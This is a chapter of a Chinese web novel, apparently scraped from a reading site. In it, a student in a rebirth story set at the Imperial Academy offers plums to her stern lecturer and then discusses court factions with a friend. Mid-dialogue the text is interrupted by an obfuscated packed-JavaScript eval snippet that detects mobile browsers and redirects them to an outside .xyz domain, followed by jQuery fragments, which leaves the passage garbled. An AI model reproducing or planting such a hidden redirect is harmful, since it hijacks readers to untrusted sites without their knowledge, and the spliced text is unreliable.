丝丝酸痛攀上腰身时，对面终于传来男子低沉的嗓音：
“那是自然——无人敢嘲弄，也无人看你的笑话，”
这话好生熟悉？
她睁大眼睛抬头，见景濯意味深长继续道：
“可令你如愿？”
景濯说的，都是她那天的词儿啊！
她直起身子，尴尬地握着手指，见景濯一双锐利的眼睛看过来，嘴角弧度意味不明，不知是被气的，还是在嘲讽她。
可错处也不该都归于她！谁叫景濯上来便将她批得一无是处，当面折辱，孰能忍之？
闻竹心里并不服气，避开他的目光，沉着头：
“直讲若早些说，弟子也不会……”
她嘟囔着，声音越来越小，被景濯听得一清二楚。
“嗯？”闻竹沉着头，那道射在头顶的目光越发锐利，“你的意思，是我错了？”
不知为何，这景濯只比她年长五六岁，气势总莫名压人一头，不就是早做了几年官吗？真是好大的官威。
闻竹心中不忿，也只能乖乖作揖道歉：
“岂敢，弟子心悦诚服！”
她以为这便算了，话音刚落，又听得景濯一声冷哼：
“我若是你，就不会这样做。”
景濯一双秀目审视着下首那人，他向来敏锐，如何看不出她貌恭而不心服，如何看不出那晚和当下，哪个才是真正的她？
他冷冷望过来，好似能看穿她的心事：
“话既已说出口，与其伪作懊悔求人原谅，不如把这功夫放在些有用事上，直到足够强大、足够完美，再也不用看别人脸色行事的时候——把文章拍在那人脸上，让他把曾经说过的话，一句句地收回去。”
“我向来厌恶虚节，若还有什么别的假话，也不必说了。”
没想到他竟如此直接，闻竹目不转睛地盯着景濯看。
转念一想，又觉并不奇怪——
他爹景彦有为，在朝堂正风光，加上他自己年少有才名，自然有十足底气。可她闻竹哪来的依恃呢？若照景濯这般恃才傲物，毫无顾忌地行事，只怕早死了八百遍了！
闻竹有些无奈，碰上景濯这种不记仇的算她幸运，可这世上，梁学正、朱学录那样的人才是多数。
在闻竹眼中，景濯有种能掌握一切的自信和倨傲，以他的作风，的确令人想象不出他摧眉折腰，向某人乞求的模样。
她垂首敛眸：
“弟子受教，谨遵教诲。”
愿有来日，她也能如景濯这般不可一世，趾高气扬，不管不顾！
“但有一事，恕弟子不能认同——弟子绝非伪作懊悔，在太学里您是老师，在外面您是友人、兄长，无论对师对友，闻某那日举止都有失当……自是有必要致歉。”
闻竹补上这么一句，掀起眼帘，见景濯淡淡“嗯”了一声，似无不喜，正是好机会：
“叨扰直讲半日，险些忘了重要事！”
她笑着，将进门时放在地上的食盒提起，送到景濯面前：
案上多出一只坛子，景濯执笔的手悬在半空，抬眼见她喜气洋洋的笑脸：
“弟子前些日制了些梅子——特意给您带来，请直讲品尝。”
景濯顺着看去，案上是一小坛蜜渍青梅，色泽诱人，果香、蜜香中夹杂着淡淡的药草香气。
“这个时候，青梅倒少见。”
“是啊！”他捕捉到关键信息，闻竹连忙颔首，绘声绘色，“弟子从相国寺跑到长庆集，总算寻得个江南果贩子，好说歹说才肯出些与我。”
见勾起他几分兴趣，闻竹又补充道：
“弟子查遍医书，又问过郎中——制梅时候佐以阿胶，桂枝，酸枣仁。既借草药香气，又最是滋补养心。若能对兄有一二裨益，便是极大的好事。”
二人心照不宣，相互也都清楚——这几味药材，正对景濯心疾。
闻竹故意说得朦胧，景濯自然能听懂，见他神色舒缓些许，她才松了口气。
腌梅实在费劲，多亏住在林彻家养伤的胥也，帮了她大忙！
正觉一切顺利，忽听得景濯冷冷的声音：
“拿回去。”
对面态度骤然转变，倒让她一时没了主意。
景濯自认从不多讲一句废话，望着那双黯然得仿佛被抛弃的眼睛，破天荒地，他再次解释：
“……太学职官，私下不得收受学子赠物。”
闻竹眨了眨眼，一时语塞。
理论上确是如此……可一坛果子而已，哪儿够得上？
灵光一闪，她微微屈身，目光和书案前的景濯平齐，又将坛子向他推了推：
“景直讲不能收，元泽兄总可以吧？”
“就算现下在太学，下值后……我一样准备给兄送去的！闻某请人尝过，都说和清风斋有一拼呢……元泽兄不试试？实在可惜了……”
一番恳切剖白，不知为何，景濯竟略显局促地轻咳两声：
“我还有公务，”景濯随手翻开一本书册，“你先回去。”
拒绝不彻底，就是彻底不拒绝。
闻竹眼观鼻鼻观心，权当他收下，不多纠缠，行过礼后转身离去，还没出门，又被叫住：
“等着——”
她回首，景濯目光向桌案扬去：
“你的东西，拿回去。”
白费功夫，她心中黯然，却无可奈何，正要从桌案上取走坛子，又被一只手拦住。
“不是，”景濯抬眼看她，有些无奈，手向旁侧偏了偏，“这个。”
一沓厚厚的文稿，拿在手中颇有重量。
刚出崇化堂，闻竹停下脚步，有些急迫地拿出文稿，就这样在阳光下看了起来。
午后阳光和煦，闻竹目光在流连于字行间，上面字字句句，俱是她亲笔书写的策论。
与她字迹并存的，是另一种朱笔写就的陌生字体，出于谁之手，不言自明。
景濯的字和他本人一样——笔锋凛冽，走笔游龙，锋芒毕现。乍然看去，和她的字竟有些相似。
可一个是搏岸白浪，一个是拍檐冷雨，细微之处亦能看出不同。
红圈圈起一处章句，下注——
“罗唣如小童。”
批语颇有景濯的风格。
一张冷冰冰的臭脸在眼前浮现，引得她撇了撇嘴。
不过…
这景濯朱笔一改……的确对味不少。
她不自觉颔首，一页页看去，还有别的批语：
“稍加裁剪，可成佳构”
“用典稍繁，耀目而失章法”
“得昌黎三分神髓”
景濯嘴毒，倒也不吝啬赞赏。
“你决定了？”
身后一道声音冷不丁响起，被人叫住，她匆忙放下文稿，视野因在阳光下视物发黑，眨了眨眼，才看清不远处的董崇云，正笑盈盈地看她。
这一问猝不及防，闻竹疑惑：
“董大哥，你说什么？”
董崇云看向她垂在身侧的手，指的正是那一沓文稿：
“你不是刚去见他吗？看上去，你很受他的赏识。”
就算不说，也知董生所指是谁——磴州案后，朝局越发分明，景彦官居参知政事，自然而然成了主张轻判一派官员的意见领袖，以景彦为首，囊括其故交、门生、旧时同僚，逐渐在朝堂形成一股不小的势力。
景彦一派所受驳斥不少，反对声实在太多，显得繁杂细碎。主要来自国舅郭宾以及先帝几位老臣，以目前形势，可称之为一派。
被人戳穿心事，她有些不自在地轻咳几声：
“……董大哥，虽说直到现在，我也不清楚你究竟知道我多少事——但是，你现在是我为数不多的可信任之人，我可以清楚地告诉你，”
她摊了摊手，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012327|172847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直接挑明：
“没错，我确有此意。”
“是你真正的意愿？”
“那是自然。”
直到现在，景濯只是微微显出招揽之意。她一个尚无功名的学子，还没有不可或缺到令景濯逼她入伙的程度。
“两闱未至，我不敢夸口能一举高中——但有两条船，一边没位置，另一边貌似有人愿意拉我一把，任谁都会选第二条吧？”
对于她这种寒微学子，要想快速晋升，把持更多权力，除了依附借势，她想不出更有利的途径。
她玩笑似的：
“董大哥这么关注，莫非要和我一起？”
她随口一说，董崇云目光偏向一侧，似乎在认真考虑：
“未尝不可。”
她以为自己听错了：
“你说什么……”
“我会仔细考虑。”
闻竹觉得他在开玩笑：“这……是不是太草率了？”
说到一半，她自己止住话头，微微睁大了眼，忽地想起——董崇云在上一世，比她多经历了八年。
关窍乍通，闻竹意识到董生的特殊经历，有些事情……便大为不同了！
“董大哥，岂不是后来无论什么事情，你全知道了？”
董生浅浅笑着，不置可否，闻竹更加好奇，压低了声音：
“你上次——选的哪边站啊？”
“我没有选。”
不站队，也是一种选择。
“后来呢，又是谁占了上风？有没有腥风血雨？比之党锢、牛李又如何？”
一次次接触，她好像渐渐对他卸下心防，褪去冰冷的外壳，现在孩子气般连珠炮式向他发问。董崇云思考她的问题，眼中盈着笑：
“倒没有，最后看去——其实没什么不同的。”
并未得到明确回答，她目光幽怨，董崇云抚了抚她的发顶：
“不骗你，他们从来没能真正压倒对手，得到了很多，也失去不少。所以，只要是你真心认定的，无论选择什么都很好。享受未测的可能，何尝不是幸运？”
他的手掌春风般拂过头顶，她有些脸红。
董崇云却未觉异常。说话时，周身好似萦绕着难以开解的哀伤，目光悠远。
重活一次，除了和闻竹重新经历的一切，琐碎的生活没能带来崭新的体验，大多事情按部就班地一一重演，令人索然无味，董崇云只觉得自己酷似看客。
闻竹似乎能理解董生的忧伤来自何处：
“是因为预先知晓太多，所以觉得毫无趣味吗？若有想做而没有做的，或是想改变的，如今董大哥占尽先机，有什么不能成？”
人各有不同，这终究是她自己的想法，她不曾亲历他遇到的事，不能强求董崇云认同，宽慰道：
“你也可以来找我，喝酒、游湖爬山、游玩赏景——还可以去瓦子，逛书肆……虽不知是否足以排遣无聊，但总能消磨一二，也能与你多说几句。”
董崇云轻笑，原来他还有这么多事可以做。
闻竹如数家珍，满眼期盼，董崇云沉寂的眼眸中染上久违的暖意。
曾几何时，当一次次看见她的提防，试探，以及从不曾在她脸上出现的冷漠神情，董崇云以为她变了，变成他完全陌生的模样。
他现在足以笃定，面前的依旧是记忆中的那个女子，尽管经历迥然，永远都不会变。
“没事的，不用担心我。”
“这一世在太学有你相伴，”一向稳重的董崇云突然笑出了声，“重修一遍课业，再蹲一次号房，也可以忍受。”
闻竹随之笑了起来。礼部试如蹲号子般，学子将其戏称为号房。
思及此处，她下意识想问她某些事情，话到嘴边，又被她生生咽了下去：
“那个——还是算了。”
闻竹欲言又止，董崇云好奇：
“想说什么？”